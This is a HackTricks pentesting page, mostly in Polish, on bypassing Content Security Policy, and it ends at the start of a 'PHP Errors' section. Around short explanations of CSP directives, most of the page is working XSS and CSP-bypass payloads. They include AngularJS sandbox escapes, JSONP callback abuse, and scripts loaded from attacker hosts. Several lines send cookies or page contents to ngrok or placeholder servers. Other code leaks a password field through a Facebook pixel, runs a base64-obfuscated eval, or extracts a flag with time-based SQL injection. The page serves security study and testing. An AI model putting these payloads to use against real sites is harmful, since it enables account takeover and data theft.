Content Security Policy (CSP) Bypass
Reading time: 32 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Czym jest CSP
Content Security Policy (CSP) jest technologią przeglądarkową, mającą na celu przede wszystkim ochronę przed atakami takimi jak cross-site scripting (XSS). Polega na określaniu i definiowaniu ścieżek oraz źródeł, z których przeglądarka może bezpiecznie ładować zasoby. Te zasoby obejmują różne elementy, takie jak obrazy, ramki oraz JavaScript. Na przykład polityka może zezwalać na ładowanie i wykonywanie zasobów z tej samej domeny (self), włączając zasoby inline oraz wykonywanie kodu w postaci łańcucha za pomocą funkcji takich jak eval
, setTimeout
lub setInterval
.
Wdrażanie CSP odbywa się poprzez nagłówki odpowiedzi lub przez umieszczenie elementów meta w stronie HTML. Przeglądarki egzekwują tę politykę i natychmiast blokują wszelkie wykryte naruszenia.
- Implementowane przez nagłówek odpowiedzi:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
- Zaimplementowane za pomocą meta tagu:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
Nagłówki
CSP można egzekwować lub monitorować za pomocą tych nagłówków:
Content-Security-Policy
: Enforces the CSP; the browser blocks any violations.Content-Security-Policy-Report-Only
: Used for monitoring; reports violations without blocking them. Ideal for testing in pre-production environments.
Definiowanie zasobów
CSP ogranicza pochodzenie ładowanych treści, zarówno aktywnych, jak i pasywnych, kontrolując takie aspekty jak wykonywanie inline JavaScript oraz użycie eval()
. Przykładowa polityka wygląda następująco:
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
Dyrektywy
- script-src: Pozwala na określone źródła dla JavaScriptu, w tym URL-e, skrypty inline oraz skrypty wywoływane przez event handlery lub arkusze stylów XSLT.
- default-src: Ustawia domyślną politykę pobierania zasobów, gdy brak jest konkretnych dyrektyw fetch.
- child-src: Określa dozwolone zasoby dla web workers i osadzonej zawartości ramek.
- connect-src: Ogranicza URL-e, które mogą być ładowane przy użyciu interfejsów takich jak fetch, WebSocket, XMLHttpRequest.
- frame-src: Ogranicza URL-e dla frame'ów.
- frame-ancestors: Określa, które źródła mogą osadzać bieżącą stronę, ma zastosowanie do elementów takich jak ,
- img-src: Definiuje dozwolone źródła obrazów.
- font-src: Określa prawidłowe źródła dla czcionek ładowanych przy użyciu
@font-face
. - manifest-src: Definiuje dozwolone źródła plików manifestu aplikacji.
- media-src: Definiuje dozwolone źródła do ładowania obiektów multimedialnych.
- object-src: Definiuje dozwolone źródła dla elementów
- base-uri: Określa dozwolone URL-e do użycia w elementach
. - form-action: Wymienia prawidłowe endpointy dla submitów formularzy.
- plugin-types: Ogranicza mime type, które strona może wywoływać.
- upgrade-insecure-requests: Nakazuje przeglądarce przepisać URL-e HTTP na HTTPS.
- sandbox: Stosuje ograniczenia podobne do atrybutu sandbox elementu
- report-to: Określa grupę, do której zostanie wysłane zgłoszenie w przypadku naruszenia polityki.
- worker-src: Określa prawidłowe źródła dla skryptów Worker, SharedWorker lub ServiceWorker.
- prefetch-src: Określa prawidłowe źródła dla zasobów, które będą pobierane lub prefetchowane.
- navigate-to: Ogranicza URL-e, do których dokument może nawigować dowolnym sposobem (a, form, window.location, window.open, itp.)
Źródła
*
: Pozwala wszystkie URL-e z wyjątkiem tych ze schematamidata:
,blob:
,filesystem:
.'self'
: Pozwala na ładowanie z tej samej domeny.'data'
: Pozwala na ładowanie zasobów za pomocą schematu data (np. obrazy Base64).'none'
: Blokuje ładowanie z jakiegokolwiek źródła.'unsafe-eval'
: Pozwala na użycieeval()
i podobnych metod, niezalecane ze względów bezpieczeństwa.'unsafe-hashes'
: Umożliwia konkretne inline event handlery.'unsafe-inline'
: Pozwala na użycie zasobów inline, takich jak inline<script>
lub<style>
, niezalecane ze względów bezpieczeństwa.'nonce'
: Biała lista dla konkretnych inline skryptów używających kryptograficznego nonce (number used once).- Jeśli masz ograniczone wykonanie JS, możliwe jest pobranie użytego nonce ze strony za pomocą
doc.defaultView.top.document.querySelector("[nonce]")
, a następnie ponowne jego użycie do załadowania złośliwego skryptu (jeśli użyty jest strict-dynamic, dowolne dozwolone źródło może ładować nowe źródła, więc to nie jest konieczne), na przykład w:
Załaduj skrypt ponownie używając nonce
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
'sha256-<hash>'
: Dodaje do białej listy skrypty z określonym haszem sha256.'strict-dynamic'
: Pozwala na ładowanie skryptów z dowolnego źródła, jeśli zostały umieszczone na białej liście przez nonce lub hash.'host'
: Określa konkretny host, np.example.com
.https:
: Ogranicza adresy URL do tych używających HTTPS.blob:
: Pozwala na ładowanie zasobów z Blob URL-i (np. Blob URL-i utworzonych przez JavaScript).filesystem:
: Pozwala na ładowanie zasobów z systemu plików.'report-sample'
: Dołącza próbkę naruszającego kodu do raportu o naruszeniu (przydatne do debugowania).'strict-origin'
: Podobne do 'self', ale zapewnia, że poziom bezpieczeństwa protokołu źródeł odpowiada dokumentowi (tylko bezpieczne originy mogą ładować zasoby z bezpiecznych originów).'strict-origin-when-cross-origin'
: Wysyła pełne adresy URL przy żądaniach same-origin, ale wysyła tylko origin przy żądaniach cross-origin.'unsafe-allow-redirects'
: Pozwala na ładowanie zasobów, które natychmiast przekierowują do innego zasobu. Niezalecane, ponieważ osłabia bezpieczeństwo.
Niebezpieczne reguły CSP
'unsafe-inline'
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
Działający payload: "/><script>alert(1);</script>
self + 'unsafe-inline' przez iframe'y
CSP bypass: self + 'unsafe-inline' with Iframes
'unsafe-eval'
caution
To nie działa — więcej informacji: sprawdź to.
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
Działający payload:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
strict-dynamic
Jeśli w jakiś sposób sprawisz, że dozwolony kod JS utworzy nowy script tag w DOM zawierający twój kod JS — ponieważ to dozwolony skrypt go tworzy, nowy script tag będzie mógł zostać wykonany.
Wildcard (*)
Content-Security-Policy: script-src 'self' https://google.com https: data *;
Działający payload:
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
Brak object-src i default-src
[!CAUTION] > Wygląda na to, że to już nie działa
Content-Security-Policy: script-src 'self' ;
Działające payloads:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
Przesyłanie plików + 'self'
Content-Security-Policy: script-src 'self'; object-src 'none' ;
Jeśli możesz przesłać plik JS, możesz obejść tę CSP:
Działający payload:
"/>'><script src="/uploads/picture.png.js"></script>
However, it's highly probable that the server is validating the uploaded file and will only allow you to upload determined type of files.
Moreover, even if you could upload a JS code inside a file using an extension accepted by the server (like: script.png) this won't be enough because some servers like apache server select MIME type of the file based on the extension and browsers like Chrome will reject to execute Javascript code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that Apache doesn't know the .wave extension, therefore it doesn't serve it with a MIME type like audio/*.
From here, if you find a XSS and a file upload, and you manage to find a misinterpreted extension, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot (some polyglot examples here).
Form-action
If not possible to inject JS, you could still try to exfiltrate for example credentials injecting a form action (and maybe expecting password managers to auto-fill passwords). You can find an example in this report. Also, notice that default-src
does not cover form actions.
Third Party Endpoints + ('unsafe-eval')
warning
For some of the following payload unsafe-eval
is not even needed.
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
Załaduj podatną wersję angular i wykonaj dowolny kod JS:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
Payloads używające Angular + biblioteki, której funkcje zwracają obiekt window
(check out this post):
tip
W poście pokazano, że można załadować wszystkie biblioteki z cdn.cloudflare.com
(lub z dowolnego innego dozwolonego repozytorium bibliotek JS), wykonać wszystkie dodane funkcje z każdej biblioteki i sprawdzić które funkcje z których bibliotek zwracają obiekt window
.
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
Angular XSS z nazwy klasy:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Nadużywanie google recaptcha JS code
Zgodnie z this CTF writeup można nadużyć https://www.google.com/recaptcha/ wewnątrz CSP, aby wykonać dowolny kod JS, omijając CSP:
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
Więcej payloads from this writeup:
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />
<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
Wykorzystywanie www.google.com do open redirect
Poniższy URL przekierowuje do example.com (z here):
https://www.google.com/amp/s/example.com/
Nadużywanie *.google.com/script.google.com
Możliwe jest nadużycie Google Apps Script, aby otrzymywać informacje na stronie w serwisie script.google.com. Tak jak to zostało zrobione w tym raporcie.
Punkty końcowe stron trzecich + JSONP
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
Sytuacje takie jak ta, gdy script-src
jest ustawiony na self
i konkretna domena znajduje się na białej liście, można obejść za pomocą JSONP. JSONP endpoints pozwalają na niezabezpieczone metody callback, które umożliwiają atakującemu wykonanie XSS, działający payload:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
JSONBee zawiera gotowe endpointy JSONP do obejścia CSP różnych stron.
Ta sama luka wystąpi, jeśli zaufany endpoint zawiera Open Redirect, ponieważ jeśli początkowy endpoint jest zaufany, przekierowania również są traktowane jako zaufane.
Nadużycia stron trzecich
Jak opisano w following post, istnieje wiele domen stron trzecich, które mogą być gdzieś dozwolone w CSP i mogą być nadużyte do exfiltrate danych lub wykonania kodu JavaScript. Niektóre z tych stron trzecich to:
Podmiot | Dozwolona domena | Możliwości |
---|---|---|
www.facebook.com, *.facebook.com | Exfil | |
Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
Amazon AWS | *.amazonaws.com | Exfil, Exec |
Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
Google Firebase | *.firebaseapp.com | Exfil, Exec |
Jeśli znajdziesz którąkolwiek z dozwolonych domen w CSP twojego celu, istnieje duża szansa, że będziesz w stanie obejść CSP, rejestrując się w usłudze strony trzeciej i exfiltrate dane do tej usługi lub wykonać kod.
Na przykład, jeśli znajdziesz następujący CSP:
Content-Security-Policy: default-src 'self’ www.facebook.com;
lub
Content-Security-Policy: connect-src www.facebook.com;
Powinieneś być w stanie eksfiltrować dane, podobnie jak zawsze robiono to za pomocą Google Analytics/Google Tag Manager. W tym przypadku wykonaj następujące ogólne kroki:
- Utwórz Facebook Developer account tutaj.
- Utwórz nową aplikację "Facebook Login" i wybierz "Website".
- Przejdź do "Settings -> Basic" i pobierz swój "App ID"
- Na docelowej stronie, z której chcesz eksfiltrować dane, możesz to zrobić bezpośrednio używając Facebook SDK gadget "fbq" przez "customEvent" i data payload.
- Przejdź do swojego App "Event Manager" i wybierz aplikację, którą utworzyłeś (uwaga: event manager może być dostępny pod URL podobnym do tego: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
- Wybierz zakładkę "Test Events", aby zobaczyć eventy wysyłane przez "your" web site.
Następnie, po stronie victim, wykonaj następujący kod, aby zainicjalizować Facebook tracking pixel wskazujący na attacker's Facebook developer account app-id i wywołać custom event w ten sposób:
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
Jeśli chodzi o pozostałe siedem domen third-party wymienionych w poprzedniej tabeli, istnieje wiele innych sposobów ich nadużycia. Zapoznaj się z wcześniej opublikowanym blog post zawierającym dodatkowe wyjaśnienia dotyczące innych nadużyć third-party.
Bypass via RPO (Relative Path Overwrite)
Oprócz wspomnianego przekierowania używanego do obejścia ograniczeń ścieżek, istnieje inna technika nazwana Relative Path Overwrite (RPO), którą można wykorzystać na niektórych serwerach.
Na przykład, jeśli CSP zezwala na ścieżkę https://example.com/scripts/react/
, można ją obejść w następujący sposób:
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
Przeglądarka ostatecznie załaduje https://example.com/scripts/angular/angular.js
.
Działa to, ponieważ dla przeglądarki ładujesz plik nazwany ..%2fangular%2fangular.js
znajdujący się pod https://example.com/scripts/react/
, co jest zgodne z CSP.
W efekcie przeglądarka zdekoduje to, skutecznie żądając https://example.com/scripts/react/../angular/angular.js
, co jest równoważne https://example.com/scripts/angular/angular.js
.
Poprzez wykorzystanie tej niezgodności interpretacji URL pomiędzy przeglądarką a serwerem, reguły ścieżek można obejść.
Rozwiązaniem jest nie traktować %2f
jako /
po stronie serwera, zapewniając spójną interpretację pomiędzy przeglądarką a serwerem, aby uniknąć tego problemu.
Przykład online: https://jsbin.com/werevijewa/edit?html,output
Wykonywanie JS w iframe'ach
brak base-uri
Jeśli dyrektywa base-uri jest nieobecna, możesz ją wykorzystać do przeprowadzenia dangling markup injection.
Moreover, if the page is loading a script using a relative path (like <script src="/js/app.js">
) using a Nonce, you can abuse the base tag to make it load the script from your own server achieving a XSS.
If the vulnerable page is loaded with httpS, make use an httpS url in the base.
<base href="https://www.attacker.com/" />
Zdarzenia AngularJS
Specyficzna polityka znana jako Content Security Policy (CSP) może ograniczać zdarzenia JavaScript. Jednak AngularJS wprowadza własne zdarzenia jako alternatywę. W ramach zdarzenia AngularJS udostępnia specjalny obiekt $event
, wskazujący natywny obiekt zdarzenia przeglądarki. Obiekt $event
można wykorzystać do obejścia CSP. Co ważne, w Chrome obiekt $event/event
ma atrybut path
, zawierający tablicę obiektów zaangażowanych w łańcuch wykonania zdarzenia, przy czym obiekt window
znajduje się zawsze na końcu. Ta struktura jest kluczowa dla taktyk ucieczki z sandboxa.
Przekierowując tę tablicę do filtra orderBy
, można po niej iterować, wykorzystując element końcowy (obiekt window
) do wywołania globalnej funkcji, np. alert()
. Poniższy przykładowy fragment kodu ilustruje ten proces:
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
Ten fragment podkreśla użycie dyrektywy ng-focus
do wywołania zdarzenia, wykorzystując $event.path|orderBy
do manipulacji tablicą path
, oraz używając obiektu window
do wywołania funkcji alert()
, co w rezultacie ujawnia document.cookie
.
Znajdź inne Angular bypasses na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
AngularJS and whitelisted domain
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
Politykę CSP, która dopuszcza określone domeny do ładowania skryptów w aplikacji Angular JS, można obejść przez wywołanie callback functions oraz niektórych podatnych klas. Szczegółowe informacje na temat tej techniki znajdują się w obszernym przewodniku dostępnym w tym git repository.
Działające payloads:
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
Other JSONP arbitrary execution endpoints can be found in here (some of them were deleted or fixed)
Bypass via Redirection
Co się dzieje, gdy CSP napotyka przekierowanie po stronie serwera? Jeśli przekierowanie prowadzi do innego origin, który nie jest dozwolony, nadal zostanie zablokowane.
Jednak zgodnie z opisem w CSP spec 4.2.2.3. Paths and Redirects, jeśli przekierowanie prowadzi do innej ścieżki, może to obejść pierwotne ograniczenia.
Oto przykład:
<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
If CSP is set to https://www.google.com/a/b/c/d
, since the path is considered, both /test
and /a/test
scripts will be blocked by CSP.
However, the final http://localhost:5555/301
will be redirected on the server-side to https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//
. Since it is a redirection, the path is not considered, and the script can be loaded, thus bypassing the path restriction.
With this redirection, even if the path is specified completely, it will still be bypassed.
Therefore, the best solution is to ensure that the website does not have any open redirect vulnerabilities and that there are no domains that can be exploited in the CSP rules.
Bypass CSP with dangling markup
Przeczytaj, jak to zrobić: tutaj.
'unsafe-inline'; img-src *; via XSS
default-src 'self' 'unsafe-inline'; img-src *;
'unsafe-inline'
oznacza, że możesz wykonać dowolny skrypt w samym kodzie (XSS może wykonać kod), a img-src *
oznacza, że możesz na stronie użyć dowolnego obrazu z dowolnego źródła.
Możesz obejść tę CSP, eksfiltrowując dane za pomocą obrazów (w tym przypadku XSS wykorzystuje CSRF, gdzie strona dostępna przez bota zawiera SQLi i dzięki temu można wydobyć flagę za pomocą obrazu):
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>
From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
Możesz też wykorzystać tę konfigurację do wczytania kodu javascript osadzonego w obrazie. Jeśli na przykład strona pozwala na ładowanie obrazów z Twittera. Możesz zaprojektować specjalny obraz, przesłać go na Twittera i nadużyć opcji "unsafe-inline", aby wykonać kod JS (jak zwykłe XSS), który wczyta obraz, wyodrębni z niego JS i wykona go: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
Z Service Workers
Service workers importScripts
funkcja nie jest ograniczona przez CSP:
Policy Injection
Badania: https://portswigger.net/research/bypassing-csp-with-policy-injection
Chrome
Jeśli parametr wysyłany przez Ciebie jest wklejany wewnątrz deklaracji polityki, to możesz w pewien sposób zmodyfikować politykę, tak że stanie się bezużyteczna. Możesz zezwolić na skrypty 'unsafe-inline' przy użyciu któregokolwiek z tych obejść:
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
Ponieważ ta dyrektywa nadpisze istniejące dyrektywy script-src.
You can find an example here: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Edge
W Edge jest to znacznie prostsze. Jeśli możesz dodać do CSP tylko to: ;_
Edge usunie całą politykę.
Example: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
img-src *; via XSS (iframe) - Time attack
Notice the lack of the directive 'unsafe-inline'
Tym razem możesz sprawić, że ofiara załaduje stronę pod twoją kontrolą za pomocą XSS w <iframe
. Tym razem sprawisz, że ofiara uzyska dostęp do strony, z której chcesz wyciągnąć informacje (CSRF). Nie masz dostępu do treści strony, ale jeśli w jakiś sposób możesz kontrolować czas ładowania strony, możesz wydobyć potrzebne informacje.
Tym razem zostanie wydobyty flag — za każdym razem, gdy char zostanie poprawnie odgadnięty przez SQLi, odpowiedź zajmuje więcej czasu z powodu funkcji sleep. Wtedy będziesz w stanie wyodrębnić flag:
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}
function gen2(x) {
x = escape(x)
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}
async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}
let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"
async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}
run()
</script>
Za pomocą Bookmarklets
Ten atak wymagałby pewnego social engineeringu, w którym atakujący przekonuje użytkownika do przeciągnięcia i upuszczenia linku na bookmarklet w przeglądarce. Ten bookmarklet zawierałby malicious javascript code, który po przeciągnięciu i upuszczeniu lub kliknięciu zostanie wykonany w kontekście bieżącego okna przeglądarki, omijając CSP i pozwalając na kradzież wrażliwych informacji takich jak cookies lub tokens.
For more information check the original report here.
Omijanie CSP przez ograniczenie CSP
W tym CTF writeup, CSP jest obejściowe przez wstrzyknięcie wewnątrz dozwolonego iframe bardziej restrykcyjnego CSP, który zabraniał ładowania konkretnego pliku JS, co następnie poprzez prototype pollution lub dom clobbering pozwoliło wykorzystać inny skrypt do załadowania dowolnego skryptu.
You can restrict a CSP of an Iframe with the csp
attribute:
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
W this CTF writeup, było możliwe poprzez HTML injection dodatkowo ograniczyć CSP, w wyniku czego skrypt zapobiegający CSTI został wyłączony i w konsekwencji luka stała się wykorzystywalna.
CSP można uczynić bardziej restrykcyjnym za pomocą HTML meta tags, a inline scripts można wyłączyć poprzez usunięcie wpisu pozwalającego na ich nonce i umożliwiającego włączenie konkretnego inline script via sha:
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
JS exfiltration przy użyciu Content-Security-Policy-Report-Only
Jeśli uda ci się sprawić, że serwer będzie odpowiadać nagłówkiem Content-Security-Policy-Report-Only
z wartością kontrolowaną przez ciebie (może z powodu CRLF), możesz skierować go na swój serwer, a jeśli opakujesz JS content, który chcesz exfiltrate, w <script>
i ponieważ bardzo prawdopodobne jest, że unsafe-inline
nie jest dozwolone przez CSP, to spowoduje to wywołanie błędu CSP i część skryptu (zawierająca wrażliwe informacje) zostanie wysłana do serwera przez Content-Security-Policy-Report-Only
.
Dla przykładu check this CTF writeup.
CVE-2020-6519
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
Leaking informacji przy użyciu CSP i Iframe
- Tworzony jest
iframe
, który wskazuje na URL (nazwijmy gohttps://example.redirect.com
), który jest dozwolony przez CSP. - Ten URL następnie przekierowuje do sekretnego URL (np.
https://usersecret.example2.com
), który jest niedozwolony przez CSP. - Nasłuchując zdarzenia
securitypolicyviolation
, można przechwycić właściwośćblockedURI
. Ta właściwość ujawnia domenę zablokowanego URI, leaking sekretnej domeny, na którą przekierowywał początkowy URL.
Warto zauważyć, że przeglądarki takie jak Chrome i Firefox różnie obsługują iframe
w kontekście CSP, co może prowadzić do potencjalnego leakage wrażliwych informacji z powodu niezdefiniowanego zachowania.
Inna technika polega na wykorzystaniu samego CSP do odgadnięcia sekretnego subdomeny. Metoda ta opiera się na algorytmie wyszukiwania binarnego oraz modyfikowaniu CSP tak, aby zawierał konkretne domeny, które są celowo blokowane. Na przykład, jeśli sekretna subdomena składa się z nieznanych znaków, można iteracyjnie testować różne subdomeny poprzez modyfikację dyrektywy CSP, aby blokować lub pozwalać na te subdomeny. Oto fragment pokazujący, jak CSP może być skonfigurowany, aby ułatwić tę metodę:
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
Monitorując, które żądania są blokowane lub dozwolone przez CSP, można zawęzić możliwe znaki w sekretnej subdomenie, ostatecznie odkrywając pełny URL.
Obie metody wykorzystują niuanse implementacji i zachowania CSP w przeglądarkach, pokazując jak pozornie bezpieczne polityki mogą mimowolnie powodować wyciek wrażliwych informacji.
Trick from here.
Niebezpieczne technologie do obejścia CSP
PHP Errors when too many params
